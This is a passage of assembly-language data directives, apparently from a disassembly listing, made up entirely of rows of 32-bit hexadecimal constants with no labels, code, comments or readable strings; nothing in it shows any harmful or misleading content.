		dd 0A2F99B25h, 0EEC453FAh, 7058606Fh, 77C36C24h, 44CF600h
		dd 1608DDB2h, 29C7002Eh, 1139D3AAh, 0BB002AE1h,	0D94D41BAh
		dd 0EC27CDh, 6AA56B5Fh,	323F843Eh, 921C5100h, 0F0811D70h
		dd 3AB6F2C1h, 0CA8F50DCh, 2CDC473Bh, 0D59001Fh,	94DDB1ABh
		dd 5D20DB00h, 0F5C29386h, 7518179Bh, 340B0006h,	0E23F4171h
		dd 68B29700h, 5FF3C181h, 4DA61239h, 0FEC4B07Dh,	1FB4DF07h
		dd 18A0A44Eh, 32C9667h,	144D2887h, 0DED8EC39h, 68006EB1h
		dd 0F4CFF05h, 75E42CDh,	37D12E2Ah, 0B7FC0064h, 4A0D29A8h
		dd 0F061F2CBh, 0BD83D8h, 2C3F06EDh, 0D2B77988h,	0EC6ED301h
		dd 0D069DAD6h, 490249D8h, 8D0168CAh, 0DBA5481Ah, 9464CEFDh
		dd 8096AA00h, 6BDF82ECh, 0A1940085h, 0AE64FC8Ah, 4C77A78Bh
		dd 0F8162300h, 324776EAh, 33E6097Eh, 0CC8003A5h, 10FBD24h
		dd 0E1F9A00h, 6E62C9E1h, 3F0A14B9h, 6502A264h, 0D3178E29h
		dd 9E801C56h, 2EEA405Eh, 0D18002BEh, 0A6C4E103h, 823C30C1h
		dd 8A3FA784h, 1F486090h, 551B006Bh, 0D8C8D552h,	0A8004A7Eh
		dd 42902387h, 7B61DC19h, 53970B15h, 44803FD6h, 8F21C963h
		dd 0BBF2901Ch, 0E72AD281h, 3AE01951h, 14711CDCh, 0FB98310Eh
		dd 0C5561095h, 5CB017Eh, 24689376h, 0B8EACC46h,	0E8425101h
		dd 986BF4ABh, 3823EECh,	1AEDDF11h, 0AEB0D8E1h, 0E609AFA9h
		dd 40CA174Ch, 60D706A4h, 9F3ED9C6h, 451DF114h, 2E002CACh
		dd 8929A062h, 0BEF300DCh, 82DF3659h, 0D9006DBFh, 951D68AFh
		dd 0FBF2E3h, 63EB8B2Dh,	9287FD07h, 6F60F602h, 0E19FFE12h
		dd 0BDE40160h, 2D7500DBh, 0B8192B57h, 80307458h, 72A88EEDh
		dd 52F65C44h, 0DC854514h, 0DAD73C03h, 0B788B153h, 0B600FA8Dh
		dd 0F4F077E3h, 7ACA4B2h, 0DCA13135h, 0EC7C4329h, 665F320Eh
		dd 7AD0E06Bh, 0EAA38BE8h, 98040106h, 86250A02h,	2D26F864h
		dd 1CB0524Ah, 6AA00D2h,	0BFF1E3DFh, 35043AB7h, 7648392Eh
		dd 107DDFC0h, 2543BE0h,	0E4515680h, 34040DBCh, 81836B00h
		dd 99DD5545h, 9217A11h,	0FCD666ECh, 0BB7E2480h,	0BD009510h
		dd 0C2B46F98h, 177F70E6h, 0F877BD4h, 0AF801E0Fh, 0A52168C3h
		dd 5F1FF312h, 0B59F3C40h, 0C812CFh, 50BFAD34h, 0E114CC69h
		dd 0DE005976h, 6FA7EBACh, 0B6AA8A3Ah, 2D2177Ch,	320F3C90h
		dd 0F0ABF0A7h, 0DCF96E77h, 1152F61Dh, 3CF2F703h, 20200248h
		dd 3438AE15h, 37C0E087h, 5A3970C5h, 0C400D6D5h,	7EB54E40h
		dd 7F61FA1h, 0E24477F1h, 80FAE242h, 0D8FBAD40h,	1149D503h
		dd 0A08ADC31h, 3B64A8Eh, 1ACDD77Ch, 0C9886FB5h,	800EEA0h
		dd 7759A1FEh, 60A771h, 0D2ACDC83h, 0DB11FC54h, 0C3376914h
		dd 80B700E8h, 3EA5E9Ch,	0B85B009Dh, 0E86C5124h,	6A00DA1Ah
		dd 53F80F59h, 75839CD1h, 0AA661661h, 4AEB00D9h,	0A2DE4BAEh
		dd 0D8156000h, 0BAB20FEBh, 6AFE01C7h, 47233D40h, 8262F84Ah
		dd 0C405905Eh, 50D06B0Ah, 7E94031Fh, 2AF00F2h, 759AC9B5h
		dd 6000393Bh, 87E4BA2Eh, 931883h, 9EDDC750h, 0F0C054BCh
		dd 0B803664Fh, 485685AFh, 0BE008464h, 8AC539E5h, 7C00AAC7h
		dd 0D79F3546h, 25721F03h, 5C009BF2h, 115C5312h,	0E86B48h
		dd 0C5F59A89h, 5B082Ch,	0D00541C9h, 0A6B71395h,	80864F39h
		dd 795C2225h, 249C2FE7h, 18D728h, 3D955887h, 31000582h
		dd 0FBDFD238h, 0C7B311h, 0B145912Ch, 51493B9Fh,	2024DE00h
		dd 7AC33CEBh, 29D500CDh, 955CC28h, 811302D7h, 0C201C446h
		dd 710369BCh, 0FFE770h,	8296E2A1h, 6A5260ACh, 4346300h
		dd 0C43077A7h, 43F80374h, 270BF54Dh, 10989601h,	3E673D2Ch
		dd 1B74F4h, 621EBF11h, 4BD39776h, 0C4D1C528h, 7CA75601h
		dd 276C6617h, 0BE1EE8h,	16013E13h, 4587B1DCh, 6698400h
		dd 6547CAD9h, 0CB350427h, 0A4F66229h, 10012440h, 0A2C1F1C8h
		dd 0C440470Bh, 0B4362982h, 0DB5D8578h, 0EED081E6h, 0ED9C43AFh
		dd 0B84541A8h, 3DBC1100h, 56491F71h, 0FAAE00A4h, 0FB7286B2h
		dd 0C70B7D13h, 80C1FE7Bh, 10CB613Ch, 0C89E001Ch, 3536AF4Ch
		dd 0C8F3B063h, 0D500AB6Dh, 37FDE807h, 185982h, 0B435B516h
		dd 90BDF71Ah, 0B6879407h, 0E3D05506h, 0A24497h,	0BB85991Eh
		dd 3C2337DFh, 7900EEF0h, 8B8E0472h, 0A3DDEh, 6A36FFC5h
		dd 60F965D2h, 23007FFCh, 0DE7729E8h, 0E7E8226h,	0CEA86FA6h
		dd 41708B23h, 79E7F088h, 0EE7B760Fh, 0FAFBE0FCh, 80B8Eh
		dd 947AE49Ch, 6D4AAA83h, 0C4A5E702h, 7E3E2AF8h,	34360008h
		dd 7F473A33h, 7E8FEB01h, 5C51DA1Fh, 3587C60h, 30ECA261h
		dd 0BBB0DBE6h, 1A000872h, 8F0141EFh, 3BAB742Ch,	17002888h
		dd 0D7240FC0h, 430075F6h, 0BFD40764h, 387473h, 1496E6BCh
		dd 0A4EB7EDBh, 0CF187200h, 0DACE4F79h, 12773Bh,	0DD27709Fh
		dd 0DF434BF7h, 0A20EF309h, 53408080h, 3BAF5C32h, 5B839A6Eh
		dd 75EBE309h, 0D16537D0h, 0DBF49300h, 543F52E9h, 0A6160713h
		dd 0F0B63B06h, 0F769B003h, 37CAF300h, 0AA05EB3Ch, 23784Bh
		dd 9DE9429Ah, 0CB775DCCh, 2E88DB0Eh, 0B06E051h,	0E1A68D2h
		dd 0ACAB96EEh, 5549D40h, 0D4005609h, 8EA569B2h,	0F0B7461Ah
		dd 0A0D80055h, 39017B10h, 8100EC99h, 761C9627h,	0B4E2C3h
		dd 51424353h, 6E21CD46h, 1C22503h, 80DCA737h, 0E1DDE6h
		dd 0A33FB133h, 8AB51F49h, 0C4C6A200h, 7E47D2FEh, 0E9F5004Bh
		dd 56B203CAh, 9F3B54C0h, 836E1E1Eh, 0D2A625C0h,	177CE67Bh
		dd 5F0FEDh, 0A2D9BD4h, 2B018341h, 98CC9215h, 38D4D4E0h
		dd 0FDAC0085h, 0B7DADF5h, 0CB4C4E7Bh, 0E83C0EDAh, 7A409D66h
		dd 8343BA48h, 73B30025h, 0B40341Ah, 781D06F0h, 0F6407EAEh
		dd 85C3E301h, 62745Ah, 8FCBCC0Ah, 12D0A763h, 4818C700h
		dd 96312D28h, 6A0D006Eh
		dd 88A93D32h, 4A72C91Dh, 0E2428006h, 17AA8F2h, 0D43C08D2h
		dd 60C169F9h, 0FF007D26h, 84216D24h, 0F1DF50h, 6B2E65FCh
		dd 306FAB70h, 8219411Dh, 681BC180h, 0D8BDBCh, 7A0E9152h
		dd 4A880B14h, 5D00197Dh, 7EA7DAFFh, 18092A30h, 0B0E1181Ah
		dd 100B25Ah, 2289391Eh,	9CE90Eh, 0B542489Ah, 0B39FFD43h
		dd 99FA0D00h, 56DC0781h, 0D6F00F8Eh, 5B4E9ABFh,	0E3928DE0h
		dd 0A40029AAh, 19022F1Fh, 628C3852h, 5393511Bh,	8363A480h
		dd 6700C21Ah, 0D1E46F66h, 0C89F76h, 39B337C5h, 219D8C0Bh
		dd 94A22B18h, 9E0A58h, 4B199AA0h, 0CD550167h, 0A893F01Dh
		dd 86452600h, 3FEEDA85h, 0FA0098EFh, 6DCCD60Dh,	110044A0h
		dd 0E8FD3C61h, 0ECA9D7Eh, 37A357F4h, 36A23080h,	87002BF1h
		dd 8B2FCCFAh, 534C003h,	35BF0486h, 0D50C0089h, 5942A59h
		dd 420C5A74h, 88F71BC5h, 79B507D6h, 3380EB9Dh, 0A000C228h
		dd 0DC05E3A8h, 0E20DAE38h, 80EC159Eh, 0E420109Ah, 74DF3040h
		dd 60147420h, 0CD5A5C41h, 0D83A01C1h, 83868239h, 40781608h
		dd 5C47FEh, 40631C13h, 88FC15AAh, 973DDC00h, 11DB4D0Dh
		dd 0BF230329h, 6566CA52h, 28E115B8h, 9B80AE14h,	0DA930040h
		dd 59DCE3B7h, 86B007Ah,	0A05AC64Dh, 705E5CDh, 9980DF9Eh
		dd 0FFA61803h, 0C1F00005h, 16094B86h, 802637Ah,	21B77812h
		dd 4CCCA0CEh, 0C0A45AC2h, 0F53E1148h, 6B79B38Ch, 6DEF7F00h
		dd 28509422h, 0B767000Bh, 770AFDCCh, 81EE45B1h,	0E2017401h
		dd 3F61E658h, 0B8C0C4h,	0C9866A90h, 6F7A137Ch, 0CC16D307h
		dd 2A43D8B0h, 5B30A7C5h, 38342353h, 0A965193Eh,	0BA043A01h
		dd 0A1854200h, 0DE04F786h, 0E1069907h, 0FF8621BCh, 0A9510029h
		dd 411BD6F1h, 0F4004E9Eh, 78CE3EF9h, 3C4F11C8h,	0B44850A6h
		dd 0E8765982h, 0CFBF90C0h, 20AF8130h, 7C7A6B99h, 0E79B00A9h
		dd 642589Ch, 0FA009779h, 3B1E1483h, 6444C81h, 22206ECEh
		dd 9A0638A5h, 3F28614Eh, 3FD05870h, 916C1860h, 0CC615D98h
		dd 649573C8h, 7670FEE5h, 88653084h, 8DF5F3D0h, 36112800h
		dd 437CCD33h, 0B982ACEh, 0BCBD2A80h, 30F70284h,	0C6060414h
		dd 0FB2B9FC0h, 24BF8400h, 0C2E46231h, 0B9B30034h, 207A1B8Fh
		dd 18982E1Fh, 82CB9E06h, 111ED0h, 36C21429h, 0F8B43E9Ah
		dd 62B08CA3h, 1797792h,	54F13214h, 0A8130450h, 15C0060Bh
		dd 0C1F4C2h, 8A820CC5h,	0CC2D44DBh, 4E92700h, 6635A1E2h
		dd 622100C1h, 369DAE7Ah, 0D0C077D9h, 0F2A1DF20h, 0FADCA001h
		dd 897E88D5h, 0F80F5200h, 3CBE70Ch, 0EF310F33h,	0C5A7EBDAh
		dd 281960BCh, 0A918DF21h, 0D740E566h, 0D250002Ch, 8C3604E8h
		dd 51F17AC4h, 0CCA63B98h, 0A50CD5F6h, 1838160Ch, 719006DAh
		dd 9870B5F4h, 9872C683h, 0FEB1DE08h, 0C03F1CC8h, 0F919634Ch
		dd 0E0066D6h, 0F5FFD8E8h, 198A980h, 9F6089B5h, 204F4D4Eh
		dd 4B017804h, 0EAB20ECCh, 0FC40C1EDh, 71F108Bh,	94D175D7h
		dd 4EF8A014h, 6D01EAFAh, 2C579680h, 8F039E8h, 6BD40226h
		dd 0CEDAF6F4h, 3EA0F4A0h, 4927A09h, 8580CCE8h, 3773F0h
		dd 0EB8D7B0Ah, 5C808F87h, 36910D06h, 148E599h, 932C3466h
		dd 70B5FE1Dh, 0AB002BEFh, 248E3394h, 648D2Ah, 5B9C439Dh
		dd 4CE88021h, 310E7700h, 7488BD22h, 181F609Bh, 0FF191A46h
		dd 11293600h, 215641EFh, 0D5CC0738h, 81275818h,	0E0CD48E1h
		dd 0EE01B704h, 0AD208ABFh, 4CF0B41Fh, 22E61D21h, 0E88D887Ch
		dd 4F9F1903h, 0C5500F01h, 0AC817FCAh, 0F4D03595h, 0E60EB5F6h
		dd 404F2F64h, 0F0459007h, 6718C087h, 0A29D7A2Bh, 728EAB00h
		dd 0C7DA2AFBh, 18A4F089h, 28AC8835h, 10046D8h, 8F7AEFE6h
		dd 0C1B96425h, 0D9F14318h, 0D1C7D85Eh, 16E879DAh, 1C040004h
		dd 0FF37562h, 0F9050D59h, 1214907h, 0ED3D1EC0h,	45E246h
		dd 0C82E8EEh, 2080ACF6h, 85445A00h, 790E9510h, 0F900048h
		dd 8825D4Eh, 0EF182146h, 8C69B1A0h, 0AC3F00B8h,	0F4566525h
		dd 5548FD2Dh, 6D216051h, 0B8033FA9h, 74D200BEh,	0D97CA10Dh
		dd 0E47BE127h, 64A0C8ECh, 0EF01B0A0h, 88B499B8h, 998FF1Bh
		dd 0D8C021A3h, 0F73DEF01h, 0DD9C04FEh, 8C40BEF5h, 0A2259E8h
		dd 7B6F80Dh, 0BAC00CCh,	0A37FD8C9h, 16D1420Ch, 2568BDh
		dd 0CBF49D56h, 41980AD5h, 0EF79AD00h, 0B1082C33h, 0C94E122Fh
		dd 7F080160h, 0FDAFBD44h, 11204ED0h, 0C09D4A34h, 0F8EA419Ah
		dd 0DA158242h, 50C81BE4h, 7C012DC0h, 0A654E6A1h, 895F6A0h
		dd 590080CCh, 0BE6D2DF0h, 0EF1C6797h, 94E8136Fh, 0FC059009h
		dd 4303296h, 0AD60F2C4h, 2523D73Fh, 0BB116Dh, 0D03F666Ah
		dd 0E448067Ah, 0A38A2442h, 1750E3Ch, 0F6DEADC0h, 521E5C07h
		dd 99C0DF40h, 0E7F554C6h, 7091FDB1h, 3FC29EFEh,	9C0D25ABh
		dd 0AA6E00FCh, 7064DF3Fh, 190E5312h, 0C62310A4h, 4878B38Ah
		dd 22C08C8Eh, 0ED7AAAADh, 48006092h, 0FC07DB79h, 1DB41D51h
		dd 181C66A3h, 7FAD21EBh, 0D2AADB00h, 238433B3h,	487DFA90h
		dd 0A01EC1Dh, 780E0F70h, 0F0B891EFh, 763FB787h,	5C89B025h
		dd 0B06C10BAh, 22CC013Fh, 0C79F97DDh, 20282108h, 5891E5E8h
		dd 1A18BB79h, 2C70730Eh, 0CA433EB6h, 0D28558BAh, 41FC496Dh
		dd 0C3A6A0F4h, 826FAC81h, 0C94F4AA0h, 0C87D1C0Ch, 0E251AEh
		dd 0B388FC4h, 0CCEE99B6h, 0FC363E00h, 24DF264h,	76AE12D2h
		dd 752C40A3h, 21295397h, 0B7CBE20Ah, 770A54E4h,	0A581A4ECh
		dd 2F054098h, 148ABC4h,	53495FD4h, 8070C5B0h, 28CEAC88h
		dd 3B8CA47Fh, 8B802B2Ch, 3DC025A2h, 2102E931h, 7AFF9741h
		dd 4D584078h, 0B1B263C9h, 0B901EA6Ch, 0F003DDF6h, 5044DC05h
		dd 62956C6h, 6AB856FEh,	5F729AFFh, 0EB1DF5F4h, 41CE9545h
		dd 212721B1h, 0D4486E89h, 0C4D554E4h, 71E200A5h, 42DC94EDh
		dd 0FA29B1B9h, 0C30CF0AAh, 751FC9A1h, 8B751E08h, 74A024F8h
		dd 7302B646h, 0DCA0BB43h, 6F972140h, 10208324h,	253C9D0Fh
		dd 2C91CBF1h, 79806BC7h, 4C724D7Dh, 3000A59Fh, 7C943AC4h
		dd 5AF1A37h, 0DCB67E49h, 68448081h, 0D504C7D6h,	75176796h
		dd 0B59900D0h, 88B4692Ch, 21CF1880h, 9A13AB9Bh,	480CF142h
		dd 0C5C39C0h, 8CC51728h, 38008A78h, 3E22E0Fh, 12A3848Eh
		dd 0BFF025h, 55EAB1B8h,	749872D5h, 0B0AD77A0h, 7700C093h
		dd 81FC09DBh, 2420861Ch, 7DE300ADh, 2B7363DBh, 64907FEAh
		dd 8D7A4776h, 0D2EEF700h, 738BE426h, 0DC760481h, 0C3AF2566h
		dd 54882D90h, 23372CB3h, 0C1E87895h, 0C5FBDC55h, 9B3CDB1h
		dd 7BA920FAh, 0C90AE8DBh, 0EC81A1C4h, 72051C81h, 2C331A2Dh
		dd 7CC0A988h, 21FBF4DBh, 30A01C79h, 0DB7EAA17h,	8629EB07h
		dd 28C01944h, 2EF79F96h, 0E9201373h, 607D0804h,	77B1EFABh
		dd 0BC448C99h, 0EFD300BFh, 12C77730h, 0B3004C82h, 581B56C0h
		dd 0C0B59DC5h, 0E4A3E229h, 0F8A097AFh, 0D8C9B676h, 88BB05A8h
		dd 0C24E24C8h, 0DD824119h, 5FA034CCh, 0FE59A179h, 82778434h
		dd 2DEF5A00h, 0BE0057B9h, 13997C19h, 625B3526h,	0C85E70A3h
		dd 0A0D00D22h, 0B62B36A4h, 0AA18C950h, 207AA005h, 0AEEFDE7Ch
		dd 86449910h, 0C297C8C8h, 53E16500h, 975F6EC4h,	70A0C989h
		dd 1449A485h, 0F477A8A0h, 8230D4A8h, 0D81B1EF6h, 0E1B9A7C3h
		dd 58BAB505h, 186C8C26h, 0D2F06997h, 8024E42Ah,	0BCFC2F70h
		dd 0EF264A01h, 0F89EA6D8h, 0C953ECh, 96B5279h, 0AB19F82h
		dd 4E122C98h, 0DC42EDE5h
		dd 4002AAFFh, 1FAB4CE8h, 5E079FB9h, 20520010h, 9E4EC1D9h
		dd 0B204351Dh, 603AB592h, 0F8002423h, 0DDA17FDEh, 0C8AE49F7h
		dd 728F7502h, 4C4A9A0h,	42B8471Eh, 70AE2587h, 0EF02FB0h
		dd 60926128h, 22A1DA2Ah, 0E62300h, 0A2482E09h, 34B95506h
		dd 2DE41560h, 99F504FCh, 1273779Fh, 1AE40867h, 0ACEB102Fh
		dd 89714AC0h, 95653059h, 6C8D15A0h, 0FACA7DCCh,	8BAA1C4Ah
		dd 7719F068h, 431C63A3h, 8D9E517Ah, 7EF45278h, 239C1354h
		dd 78876300h, 1A1644Fh,	4DD300FEh, 52EEA019h, 2800BADCh
		dd 0BF7EE721h, 63FB91B5h, 0C5A0A069h, 275D6900h, 7140A8FEh
		dd 31140046h, 8DBE49FDh, 0A031F19Fh, 0D70929BFh, 0F7613FCh
		dd 1D947F83h, 0ECBB66E0h, 2B12EEC6h, 0D421C870h, 5CC08A9Bh
		dd 575EE4Ch, 0AD1B0AAFh, 539C600Ch, 0FB23FDDCh,	2EF51161h
		dd 5D0074AFh, 0C9E6E1A2h, 8693502Bh, 6790A87Bh,	0E842EC26h
		dd 0CC1A1EC1h, 0D5A605CAh, 0F8D40082h, 0A4D61B91h, 3D12D892h
		dd 34DC9FECh, 0C09A7A1Eh, 7FEFA371h, 9417D7BCh,	0BC3A728Eh
		dd 0C0AD2410h, 81CF6892h, 39EF6379h, 0A6A0D885h, 56122609h
		dd 0A800EAC9h, 4658B9FEh, 30A9492Bh, 0BE9BF082h, 0FCA2B8A0h
		dd 0CAE02897h, 8E2CBC01h, 0C5037202h, 885848DEh, 1D5E077Dh
		dd 0A0D883A4h, 316AE976h, 8000B34Dh, 7942D0C3h,	0B8B87C7Ch
		dd 98AA0FD4h, 7786C52Ch, 6500A9EEh, 0ECE27E33h,	0F284Ah
		dd 6AED48F4h, 0FB5240ADh, 6F08A21Dh, 0D254AA0Eh, 31509C42h
		dd 0FD18E1B1h, 3F08B218h, 0C4B525B6h, 0AB6F4090h, 0FC9AE93Fh
		dd 642B0012h, 0A0FFC425h, 13263154h, 1DEB38CCh,	9DB71148h
		dd 3927D800h, 4C641845h, 92CB20F5h, 701DC007h, 631CA16Fh
		dd 58EDC04h, 1CD1EE3Ah,	94280DB8h, 72A44A80h, 0E21342FBh
		dd 509789B7h, 1198682h,	0C00594AAh, 6F1399B3h, 8C04CC9Fh
		dd 3CD722C5h, 0B839B420h, 0AECB0581h, 98139DE5h, 8B00161Ch
		dd 7D48FFD1h, 0DFB209h,	0B6868501h, 426E0403h, 649B827Ah
		dd 532DFA01h, 6463EEA2h, 6480FC89h, 6B3F598h, 0B430464Eh
		dd 588E437Dh, 0E8846480h, 298C8A88h, 71593841h,	95003918h
		dd 1B842944h, 117165Bh,	0FA91E2DBh, 715ED91Fh, 3C49DDE4h
		dd 9EF80928h, 90B0946Ah, 0E07300E4h, 3BF6210Bh,	5499AEF5h
		dd 562AAC00h, 0E2E59DA3h, 83C8A06Bh, 0D99900B4h, 0BD2DEC14h
		dd 0D2027453h, 0F9029657h, 53A45B8Fh, 9818ADF2h, 0B177D89h
		dd 0A4A0B1C6h, 19657039h, 29F8DCC4h, 402859FBh,	5EDB7AB6h
		dd 1B683902h, 40A335E6h, 61268124h, 411EE11Ch, 0CD94435Ah
		dd 0E18480DCh, 342AFDA3h, 950A4C4h, 43268138h, 0A28304D7h
		dd 4CBCCC45h, 427880E8h, 0E2E44250h, 2EE83378h,	81396CF2h
		dd 0E7970966h, 4A6800D7h, 3DBC8AA5h, 9F921B85h,	0A6F0806Fh
		dd 74198BDFh, 0C5681AA1h, 59073872h, 90B52654h,	35CB0C8Fh
		dd 5C56E200h, 0F0320177h, 6F741760h, 8324490Bh,	60D87404h
		dd 98522E07h, 73CA738h,	602DF25Fh, 0E98527B0h, 5D40902h
		dd 84ADA21Ah, 0B8B4C780h, 2D0C0574h, 88698B50h,	4F004ABCh
		dd 0B07A76B5h, 0A02781F0h, 0F0E13F3Ch, 5A97C9Fh, 0AB276D6h
		dd 59C9006h, 8460C7ADh,	22C23F59h, 793B0103h, 1790A9C9h
		dd 381039C6h, 0C1338021h, 0C312BAD6h, 5180086h,	23D385C6h
		dd 3C9CB1BCh, 27C50h, 0D4B79D7Eh, 2EC9C58Bh, 0B0BAFA13h
		dd 0B9C834CBh, 0A182E6C0h, 959C2425h, 0CF8C2610h, 0C75DD0E1h
		dd 10F98028h, 4138FB4Ch, 491B09F8h, 18ED0D3Ah, 7180714Fh
		dd 7D95AB1Ch, 17A21E12h, 0FA36401h, 83F5EA6Dh, 420A5820h
		dd 1D923C7h, 0A2552DF8h, 8074339Eh, 0C52DE316h,	0ADF83089h
		dd 8CD83560h, 3505E8C9h, 87729184h, 0E021B234h,	0E7301B25h
		dd 94A4C6h, 95DC5016h, 1483335Bh, 0A83DA404h, 0CCEF6BAh
		dd 36ACF5C4h, 2CCF00D4h, 235FADDFh, 6D3BD1CDh, 27EF0460h
		dd 0A8B2F874h, 0F933B5E2h, 0A9C4C38Fh, 39220FCDh, 0D140E953h
		dd 4AF5970Bh, 1304BDF0h, 5509F4AEh, 2DF6CCD0h, 953500C3h
		dd 304F0D9Eh, 914BA629h, 0BDE9F800h, 1DA0A1C9h,	0E42212FBh
		dd 0EB191B4h, 204B65DFh, 5930AFF2h, 9D110073h, 86A1C8F4h
		dd 0D74D42B8h, 0C51AC9F8h, 0ACEBC244h, 0FEB218h, 1A903D52h
		dd 0CDF6E81Eh, 0FDF9A21Dh, 609ECA42h, 0E908CBAEh, 0A838551Ch
		dd 5201AF23h, 69FC06DCh, 0A831344Ah, 0E437B588h, 0E2054021h
		dd 5147A617h, 10B581BEh, 97A822B9h, 55BE8020h, 0F9262CDDh
		dd 1B98C0ACh, 21244C58h, 0AEC0A4E1h, 2D25B23Fh,	0BC145615h
		dd 3F676B01h, 973E99FAh, 0B071C7D8h, 0E22C019Ch, 0CA2AFC4Dh
		dd 9F8080A2h, 0E329806Ch, 209B50BEh, 0D97B0323h, 0B22A3FBBh
		dd 18ACB6A8h, 0DF01A372h, 21297A79h, 3CE767ADh,	0E6272759h
		dd 0B2116417h, 635DF880h, 0A1288627h, 762CF085h, 1799801Dh
		dd 0B6F04CCAh, 0DA100056h, 0FE6177E1h, 250045BDh, 96FA4784h
		dd 0B01B7F6Fh, 0DC50A22Ch, 0C00C13D2h, 340DA268h, 81588F5Ch
		dd 0AB9AD441h, 0AAD01888h, 7888D813h, 6C90029h,	118FE7FFh
		dd 0E20046C1h, 0CF4F01FEh, 0B819BF22h, 0FBA90200h, 23B9126h
		dd 0B288CE8h, 34B6CC22h, 0E3687713h, 3078A228h,	35003AC9h
		dd 0DEEEA932h, 0A8D66081h, 30DDA8ACh, 0BC68BBABh, 0E22DB14Eh
		dd 8BAC27A0h, 57A49E80h, 514900F6h, 0D198BEC2h,	211D54ABh
		dd 85430C5Eh, 0E51F78D2h, 28028B0h, 993A53E6h, 7C6D891Ch
		dd 296A39E0h, 0A086001Bh, 0A42E3FEFh, 986E3445h, 0C18462A8h
		dd 40FCA18Dh, 55C83025h, 1B71C4Bh, 2AF6403Fh, 0A27CB1DEh
		dd 4C988516h, 0BA235C2Fh, 506CEF00h, 92CF9F1Bh,	5EB0BC4Ch
		dd 573FB746h, 5926D780h, 0ED0F36Ah, 172D1676h, 2E6854FBh
		dd 34350584h, 0B28CA3B9h, 20493124h, 0C492FE8Bh, 0DD6078BEh
		dd 2705AC85h, 0E498CBE9h, 58002911h, 3B72D938h,	0B9EE987Ah
		dd 0F0AF0374h, 8A07CD8h, 75059F82h, 0B30928E9h,	18AD44C3h
		dd 0E9B89B20h, 400FF59h, 8A91E3C8h, 179FE56h, 710970CEh
		dd 6DE2738Bh, 461E04B8h, 0BEC1B8CCh, 7CF84AEBh,	0F39900B6h
		dd 89BAD8EDh, 0C7247B57h, 0DE831823h, 0A071CC86h, 7CB91EABh
		dd 559B3450h, 389C8988h, 244D8010h, 222DB7h, 1051CE5Fh
		dd 19DE422Ah, 8002E24Bh, 0A423021Eh, 0CF0DD9Ch,	123A1624h
		dd 7B50DCC8h, 51F22B1Ah, 91BCEE18h, 18F071E4h, 5074B7h
		dd 2E0F0327h, 3534D2E3h, 97523104h, 38C01C57h, 9CDD5625h
		dd 0E8E504D0h, 0B180D87Bh, 99AFEF08h, 44C7C43Ch, 5180D9F1h
		dd 31B3F3EAh, 8EC0A528h, 800822A4h, 0DD549DA9h,	98018EF5h
		dd 0DA2109BBh, 0DC40AA7Ch, 2083A4Ah, 97B076B1h,	704A28C1h
		dd 0EA8D043h, 0B2FC7917h, 4C06C0B9h, 91AFC9h, 0E1C84A4Dh
		dd 25067D1Dh, 0DBCC660Fh, 0DF72002Fh, 9F0549h, 0AB63A1C1h
		dd 867F524Ah, 0D1B94F1Fh, 0B589351Dh, 0CDE08B65h, 5A78C0ECh
		dd 7A50A796h, 0AA02DCFFh, 0F242FBE2h, 4BE894BBh, 75F0409Bh
		dd 0A232D89Eh, 0A6EC3Fh, 0F4AB4C7Bh, 0F64226h, 913134BCh
		dd 35A1E005h, 12F8744Dh, 84C82B81h, 19686025h, 70E42816h
		dd 7F443096h, 0A4B83CADh, 2E979900h, 159F0F62h,	9440005Eh
		dd 139D705h, 707A88F5h,	228CFE12h, 94A29D0Bh, 2745F20Ch
		dd 0B416BB50h, 0D7E04887h, 4C05E235h, 84C5C4DFh, 0C6DFC098h
		dd 0C3000A82h, 3FBB2A6h, 16C702CDh, 8B22728Fh, 0C0F288C0h
		dd 5DF3E4BFh, 0F0102914h
		dd 0BDA010BCh, 0B3DD0512h, 97D925BCh, 80949110h, 403B87CBh
		dd 5627169Eh, 0F74CE015h, 5F61AA01h, 767ED889h,	28806370h
		dd 0EEEC4F1Fh, 0B05FF4h, 62F3DC98h, 3448BF59h, 0F804C35Ch
		dd 6CBD9CA6h, 0B46876C9h, 6D75EB0Bh, 9E2BB91Fh,	0DE4B2DC0h
		dd 9FA9112h, 8A484301h,	0B6AAA8C8h, 2697AF80h, 951806F7h
		dd 0AD8E8076h, 0C9FDAC87h, 5A60EC38h, 81DAF104h, 0C4D46E2Dh
		dd 4E08E080h, 0D44F5C20h, 9271F4C0h, 0EBEC683Bh, 6A1CE300h
		dd 4A0FA622h, 7C5509B5h, 7802F2B8h, 0C7028026h,	0EA004817h
		dd 5EA80F91h, 0DF60E670h, 76E2A043h, 4B9DB0Bh, 780869B0h
		dd 6A035C62h, 0FD56D02Bh, 0CB2B80A4h, 65000E3Ah, 6F4D7501h
		dd 1B628D6h, 0F27416A7h, 7D27B23Ch, 504A802Ch, 28C54E2Ah
		dd 2C76D0h, 8D390BA6h, 0BD06C7C2h, 853D0500h, 2D9AAC6h
		dd 934000C3h, 54B2797Ch, 682A8BB9h, 55FC80A7h, 89043499h
		dd 0E0F7DFD1h, 26E16052h, 0CFA0CADh, 0A2C93323h, 5605F259h
		dd 4488A6CCh, 0CD92FFC0h, 0D84200F0h, 8AFC5BFEh, 46019C10h
		dd 0AEACB94h, 0D8236808h, 0E2204D02h, 0E4507731h, 465C4CB4h
		dd 4C5E0091h, 1AC1693h,	4C3E876h, 580DA292h, 6E38888Eh
		dd 8994B84Ch, 0C7E80BDFh, 81514EA8h, 8CCBF7DDh,	9E9FDC0h
		dd 0C798B622h, 13DF4048h, 5779050Bh, 0AE3881D0h, 80721B32h
		dd 0CACF2F1h, 402800C4h, 9E70803h, 5C4D2590h, 0BC3C49C4h
		dd 6DDF0088h, 78D2E02Eh, 51771A3h, 0E8CB42F5h, 31802684h
		dd 6DD0919Eh, 9A75FCA9h, 5E10430h, 0C4359DFEh, 81B0023Eh
		dd 8CA0BD3Eh, 515CDC75h, 0A079F12Fh, 1A26BAB4h,	0B3EE00DFh
		dd 6F8D62D8h, 450724B4h, 0D53B577Dh, 0E4848545h, 0BBF2F0A2h
		dd 128D1438h, 0E402C5h,	7526C0D8h, 1A17FB56h, 9044CA3Ah
		dd 4CB1C425h, 7E4C2F2Bh, 0FB49048Ch, 0E851A486h, 6F960BD4h
		dd 4CC46087h, 948849C2h, 5784D838h, 80630516h, 0A2100F29h
		dd 0C5F95201h, 8141AC86h, 29DEA441h, 0D4644831h, 0A080521Eh
		dd 8F67F009h, 25C10404h, 59C0DC9Ah, 34D3A08Ch, 24032B80h
		dd 4060E285h, 0C5AEAB8Dh, 0FC1E4A7Eh, 88306A12h, 0FD6F99ADh
		dd 0C4781F3Bh, 0B8064CA4h, 3D059E18h, 0FC001768h, 0B1970FBh
